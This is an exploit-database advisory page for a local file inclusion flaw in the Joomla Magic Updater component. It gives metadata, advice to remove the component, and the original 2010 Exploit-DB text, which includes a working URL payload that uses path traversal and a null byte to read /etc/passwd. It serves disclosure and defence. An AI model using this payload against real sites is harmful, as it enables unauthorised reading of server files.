Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability

vendor:

Joomla Magic Updater

by:

Vrs-hCk

7.5

CVSS

HIGH

LFI

Not mentioned

CWE

Product Name: Joomla Magic Updater

Affected Version From: Not mentioned

Affected Version To: Not mentioned

Patch Exists: NO

Related CWE: Not mentioned

CPE: Not mentioned

Metasploit:

Other Scripts:

Platforms Tested: Not mentioned

2010

Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability

The Joomla Magic Updater component (com_joomlaupdater) is vulnerable to a Local File Inclusion (LFI) vulnerability. This vulnerability can be exploited by an attacker to read arbitrary files on the server.

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability. It is recommended to disable or remove the vulnerable component from the Joomla installation.

Source

Exploit-DB raw data:

 ================================================================================================

 Title    : Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability
 Date     : Monday, 05 April 2010 (Indonesia)
 Author   : Vrs-hCk
 Contact  : ander[at]antisecurity.org
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [+] Exploit

     http://[site]/[path]/index.php?option=com_joomlaupdater&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.AntiSecurity.org
     Paman, NoGe, OoN_Boy, pizzyroot, zxvf, matthews, Genex, s4va, stardustmemory,
     wishnusakti, bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, str0ke, dkk.

 ================================================================================================

# c0li.m0de.0n